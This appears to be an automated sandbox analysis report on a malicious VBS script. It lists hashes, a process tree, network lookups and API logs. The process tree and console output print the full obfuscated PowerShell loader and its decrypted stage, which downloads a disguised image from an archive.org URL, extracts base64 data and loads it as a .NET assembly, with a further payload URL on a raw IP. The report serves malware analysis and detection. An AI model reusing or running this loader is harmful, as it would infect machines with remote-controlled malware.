popup
Summary | ZeroBOX
  1. Home
  2. Result
  3. Report
  4. Detail Analysis

mywifeisbeautifull.vbs

Generic Malware Antivirus PowerShell
  1. Resubmit sample
Category Machine Started Completed
FILE s1_win7_x6401 July 31, 2024, 10:18 a.m. July 31, 2024, 10:23 a.m.
Size 565.7KB
Type Little-endian UTF-16 Unicode text, with very long lines, with CRLF line terminators
MD5 02b6b577cf925689c42545770b951ac6
SHA256 fd2dcb6500c21ea089a8bf7867f50a1bbd066e3856128c1d283276e1cb6e0689
CRC32 DDF2CDFF
ssdeep 3072:uHGuwfuYFBhNe4VTdRnTT8w4TW/oqR9g+cpu/tvRS7SYzqFOX8lKzBHgRGa:2wfuYFfoqh
Yara None matched

  • wscript.exe "C:\Windows\System32\wscript.exe" C:\Users\test22\AppData\Local\Temp\mywifeisbeautifull.vbs

    2556

    • powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI33875419224826702940537577739181CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIri80kRp8Wd309o8uMjCHZGUii0bRMcsrbHHHL+X45oYyzuF4S3e6GVM0e+pl2BU27T+o3U47DIQXyCEbbsY3gN+NKfJGuxcZnCvfWXviSDQkn56OjGYRen9drdjFnWfy8HofbxfsNtUbi+sY/E64/LcGt/c/aVckAqSjibPU7JN7xVQyyVoSZIc1s1y/BzcU37eACUI0rJiga/2nnEROZP45lmQLp/5tepXk/4Nsc9eQ79NMp1rgqhHFpj5hPCuW5mTO5cwo2MuIOYeAfs9wRhfN/2m9G1xcBDzLZ/GrarNq3C+T8gaVFNj5N1wFpi77cdr3iOxIJw3jColqQwqtIBNgAhVDnbvzyqp/Nelf29Ss61/TMdjO2vBdodzQroMOv3JbrfuEgpgYDTLKnHpuTjy+bkvtxIr3YoWNYoHm/m0cps4EBx0HjBlchM5Y0EyVTQXB7H/iInAQVNMc9K4ZUzpcK4A9oBNmzkrv+BJ//16W/ph5Ud31mXNkD5wcg+rablZf4oO6x65fTqBb6GwjjLp/CCSoi+ghzv+n7XvEMN072z13Kr0aKLuUpRkpFbOMxOl1gz+W9L5nzZYEonr8Ef7QCXBWH1efAfmw/rOjJk4GS3n67D+Xt+Xi4nagkgXuz3q4x3sb/BC9fBOa65aM7K6ArL518tiDqrdMwuw+PRpCUsbiNRKQTdSaM7XrTGuX0TaIde76/r+vdHl9dhrkNKbWxL6aUXY//+ltZ8KD1tKSHOjrPl0V66LW2x1rJbmeaoEDQ/mziRwi9uyvQShtGrUPlTcF8BTVNYQlVxj4tCMvYndNjMKaq5pKQK4ZBAH4XN1D1Uyc8h98jAggebme+4gNq15kkfu5ngfMrq8xUJsm+F+NgwtDFthidIWpmay2/isYSX+VXxTA9UORNSZ1xHJcv/4N2ew+y2xhayj7WNIs9CwGBIpv5WyKwc2WwMSm15E/Q0FIVV079eGLQZ5zT9c36kriUQtLMKwm/XqsZZOJ8yoXtr1WIG4DYjevVCE04Y91oXiMgIvmBrLNYjFVF63b20jnRoNOAsa0cleimMV4rca9PaoxA015MRIfXuxoEW0mlOBGfp2SJR5T555CZsyecbKejwhlHrKm1Ke4h9qflRn+Rc9pEinfGjCvI+F5Md2QKTQmi5ZlDk3WAnL2X+9+hYNMp4dc1j6gEeVBCHmnSE92wxQL2LmgDVkq7pfY3ggKxwUr7LajvylgkdB5u2oA0hEMcRmcszoSNx01RdJBPea816PQMD6A9w36sLm5CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cRePLACe e4jTMIe4j,[CHar]36)AQMinvOKe-EXpReSsion') -CREplacE 'e4j',[Char]39 -CREplacE([Char]65+[Char]81+[Char]77),[Char]124)|&( $verbosEPREFerEncE.tosTriNg()[1,3]+'x'-join'')

      2672

Name Response Post-Analysis Lookup
ia803104.us.archive.org
A 207.241.232.154
207.241.232.154
IP Address Status Action
164.124.101.2 Active Moloch
207.241.232.154 Active Moloch

Time & API Arguments Status Return Repeated

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameA

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0
Time & API Arguments Status Return Repeated

IsDebuggerPresent

 0 0
Time & API Arguments Status Return Repeated

WriteConsoleW

 buffer: Method invocation failed because [System.Security.Cryptography.AesManaged] does
console_handle: 0x00000023
1 1 0

WriteConsoleW

 buffer: n't contain a method named 'Dispose'.
console_handle: 0x0000002f
1 1 0

WriteConsoleW

 buffer: At line:1 char:715
console_handle: 0x0000003b
1 1 0

WriteConsoleW

 buffer: + function Decrypt-AESEncryption {Param([String]$Base64Text,[String]$Key)$aesMa
console_handle: 0x00000047
1 1 0

WriteConsoleW

 buffer: naged = New-Object System.Security.Cryptography.AesManaged;$aesManaged.Mode = [
console_handle: 0x00000053
1 1 0

WriteConsoleW

 buffer: System.Security.Cryptography.CipherMode]::CBC;$aesManaged.Padding = [System.Sec
console_handle: 0x0000005f
1 1 0

WriteConsoleW

 buffer: urity.Cryptography.PaddingMode]::Zeros;$aesManaged.BlockSize = 128;$aesManaged.
console_handle: 0x0000006b
1 1 0

WriteConsoleW

 buffer: KeySize = 256;$aesManaged.Key = (New-Object System.Security.Cryptography.SHA256
console_handle: 0x00000077
1 1 0

WriteConsoleW

 buffer: Managed).ComputeHash([System.Text.Encoding]::UTF8.GetBytes($Key));$cipherBytes
console_handle: 0x00000083
1 1 0

WriteConsoleW

 buffer: = [System.Convert]::FromBase64String($Base64Text);$aesManaged.IV = $cipherBytes
console_handle: 0x0000008f
1 1 0

WriteConsoleW

 buffer: [0..15];$decryptor = $aesManaged.CreateDecryptor();$decryptedBytes = $decryptor
console_handle: 0x0000009b
1 1 0

WriteConsoleW

 buffer: .TransformFinalBlock($cipherBytes, 16, $cipherBytes.Length - 16);$aesManaged.Di
console_handle: 0x000000a7
1 1 0

WriteConsoleW

 buffer: spose <<<< ();return [System.Text.Encoding]::UTF8.GetString($decryptedBytes).Tr
console_handle: 0x000000b3
1 1 0

WriteConsoleW

 buffer: im([char]0);}$chave = "33875419224826702940537577739181";$textoCriptografadoBas
console_handle: 0x000000bf
1 1 0

WriteConsoleW

 buffer: e64 = "ri80kRp8Wd309o8uMjCHZGUii0bRMcsrbHHHL+X45oYyzuF4S3e6GVM0e+pl2BU27T+o3U47
console_handle: 0x000000cb
1 1 0

WriteConsoleW

 buffer: DIQXyCEbbsY3gN+NKfJGuxcZnCvfWXviSDQkn56OjGYRen9drdjFnWfy8HofbxfsNtUbi+sY/E64/Lc
console_handle: 0x000000d7
1 1 0

WriteConsoleW

 buffer: Gt/c/aVckAqSjibPU7JN7xVQyyVoSZIc1s1y/BzcU37eACUI0rJiga/2nnEROZP45lmQLp/5tepXk/4
console_handle: 0x000000e3
1 1 0

WriteConsoleW

 buffer: Nsc9eQ79NMp1rgqhHFpj5hPCuW5mTO5cwo2MuIOYeAfs9wRhfN/2m9G1xcBDzLZ/GrarNq3C+T8gaVF
console_handle: 0x000000ef
1 1 0

WriteConsoleW

 buffer: Nj5N1wFpi77cdr3iOxIJw3jColqQwqtIBNgAhVDnbvzyqp/Nelf29Ss61/TMdjO2vBdodzQroMOv3Jb
console_handle: 0x000000fb
1 1 0

WriteConsoleW

 buffer: rfuEgpgYDTLKnHpuTjy+bkvtxIr3YoWNYoHm/m0cps4EBx0HjBlchM5Y0EyVTQXB7H/iInAQVNMc9K4
console_handle: 0x00000107
1 1 0

WriteConsoleW

 buffer: ZUzpcK4A9oBNmzkrv+BJ//16W/ph5Ud31mXNkD5wcg+rablZf4oO6x65fTqBb6GwjjLp/CCSoi+ghzv
console_handle: 0x00000113
1 1 0

WriteConsoleW

 buffer: +n7XvEMN072z13Kr0aKLuUpRkpFbOMxOl1gz+W9L5nzZYEonr8Ef7QCXBWH1efAfmw/rOjJk4GS3n67
console_handle: 0x0000011f
1 1 0

WriteConsoleW

 buffer: D+Xt+Xi4nagkgXuz3q4x3sb/BC9fBOa65aM7K6ArL518tiDqrdMwuw+PRpCUsbiNRKQTdSaM7XrTGuX
console_handle: 0x0000012b
1 1 0

WriteConsoleW

 buffer: 0TaIde76/r+vdHl9dhrkNKbWxL6aUXY//+ltZ8KD1tKSHOjrPl0V66LW2x1rJbmeaoEDQ/mziRwi9uy
console_handle: 0x00000137
1 1 0

WriteConsoleW

 buffer: vQShtGrUPlTcF8BTVNYQlVxj4tCMvYndNjMKaq5pKQK4ZBAH4XN1D1Uyc8h98jAggebme+4gNq15kkf
console_handle: 0x00000143
1 1 0

WriteConsoleW

 buffer: u5ngfMrq8xUJsm+F+NgwtDFthidIWpmay2/isYSX+VXxTA9UORNSZ1xHJcv/4N2ew+y2xhayj7WNIs9
console_handle: 0x0000014f
1 1 0

WriteConsoleW

 buffer: CwGBIpv5WyKwc2WwMSm15E/Q0FIVV079eGLQZ5zT9c36kriUQtLMKwm/XqsZZOJ8yoXtr1WIG4DYjev
console_handle: 0x0000015b
1 1 0

WriteConsoleW

 buffer: VCE04Y91oXiMgIvmBrLNYjFVF63b20jnRoNOAsa0cleimMV4rca9PaoxA015MRIfXuxoEW0mlOBGfp2
console_handle: 0x00000167
1 1 0

WriteConsoleW

 buffer: SJR5T555CZsyecbKejwhlHrKm1Ke4h9qflRn+Rc9pEinfGjCvI+F5Md2QKTQmi5ZlDk3WAnL2X+9+hY
console_handle: 0x00000173
1 1 0

WriteConsoleW

 buffer: NMp4dc1j6gEeVBCHmnSE92wxQL2LmgDVkq7pfY3ggKxwUr7LajvylgkdB5u2oA0hEMcRmcszoSNx01R
console_handle: 0x0000017f
1 1 0

WriteConsoleW

 buffer: dJBPea816PQMD6A9w36sLm5";$textoDescriptografado = Decrypt-AESEncryption -Base64
console_handle: 0x0000018b
1 1 0

WriteConsoleW

 buffer: Text $textoCriptografadoBase64 -Key $chave;Write-Host "Texto Descriptografado:
console_handle: 0x00000197
1 1 0

WriteConsoleW

 buffer: $textoDescriptografado";Invoke-Expression $textoDescriptografado;
console_handle: 0x000001a3
1 1 0

WriteConsoleW

 buffer: + CategoryInfo : InvalidOperation: (Dispose:String) [], RuntimeEx
console_handle: 0x000001af
1 1 0

WriteConsoleW

 buffer: ception
console_handle: 0x000001bb
1 1 0

WriteConsoleW

 buffer: + FullyQualifiedErrorId : MethodNotFound
console_handle: 0x000001c7
1 1 0

WriteConsoleW

 buffer: Texto Descriptografado: $imageUrl = 'https://ia803104.us.archive.org/27/items/vbs_20240726_20240726/vbs.jpg';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('dnlib.IO.Home');$method = $type.GetMethod('VAI').Invoke($null, [object[]] ('txt.ACIREMASITAHW/441.922.571.701//:ptth' , 'desativado' , 'desativado' , 'desativado','AddInProcess32',''))
console_handle: 0x000001e3
1 1 0

WriteConsoleW

 buffer: Exception calling "DownloadData" with "1" argument(s): "The underlying connecti
console_handle: 0x00000023
1 1 0

WriteConsoleW

 buffer: on was closed: An unexpected error occurred on a send."
console_handle: 0x0000002f
1 1 0

WriteConsoleW

 buffer: At line:1 char:168
console_handle: 0x0000003b
1 1 0

WriteConsoleW

 buffer: + $imageUrl = 'https://ia803104.us.archive.org/27/items/vbs_20240726_20240726/v
console_handle: 0x00000047
1 1 0

WriteConsoleW

 buffer: bs.jpg';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.D
console_handle: 0x00000053
1 1 0

WriteConsoleW

 buffer: ownloadData <<<< ($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetStrin
console_handle: 0x0000005f
1 1 0

WriteConsoleW

 buffer: g($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$sta
console_handle: 0x0000006b
1 1 0

WriteConsoleW

 buffer: rtIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFla
console_handle: 0x00000077
1 1 0

WriteConsoleW

 buffer: g);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.L
console_handle: 0x00000083
1 1 0

WriteConsoleW

 buffer: ength;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Subst
console_handle: 0x0000008f
1 1 0

WriteConsoleW

 buffer: ring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64St
console_handle: 0x0000009b
1 1 0

WriteConsoleW

 buffer: ring($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($comm
console_handle: 0x000000a7
1 1 0

WriteConsoleW

 buffer: andBytes);$type = $loadedAssembly.GetType('dnlib.IO.Home');$method = $type.GetM
console_handle: 0x000000b3
1 1 0
Time & API Arguments Status Return Repeated

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005d2f70
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005d34f0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005d34f0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005d34f0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005d3070
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005d3070
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005d3070
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005d3070
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005d3070
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005d3070
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005d2b30
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005d2b30
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005d2b30
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005d34f0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005d34f0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005d34f0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005d33f0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005d34f0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005d34f0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005d34f0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005d34f0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005d34f0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005d34f0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005d34f0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005d2c70
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005d2c70
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005d2c70
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005d2c70
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005d2c70
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005d2c70
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005d2c70
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005d2c70
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005d2c70
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005d2c70
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005d2c70
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005d2c70
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005d2c70
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005d2c70
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005d38f0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005d38f0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005d30f0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005d30f0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005d30f0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005d30f0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005d2e70
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x005d2e70
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0
Time & API Arguments Status Return Repeated

GlobalMemoryStatusEx

 1 1 0
Time & API Arguments Status Return Repeated

NtAllocateVirtualMemory

 process_identifier: 2672
region_size: 262144
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02720000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2672
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02720000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2672
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x72891000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2672
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0276a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2672
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 8192
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x72892000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2672
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02762000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2672
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02772000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2672
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02721000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2672
region_size: 8192
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02722000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2672
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x027da000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2672
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02773000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2672
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02774000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2672
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x027eb000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2672
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x027e7000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2672
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0276b000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2672
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x027d2000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2672
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x027e5000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2672
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02775000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2672
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x027dc000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2672
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02a60000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2672
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02776000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2672
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x027ec000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2672
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x027d3000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2672
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x027d4000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2672
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x027d5000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2672
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x027d6000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2672
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
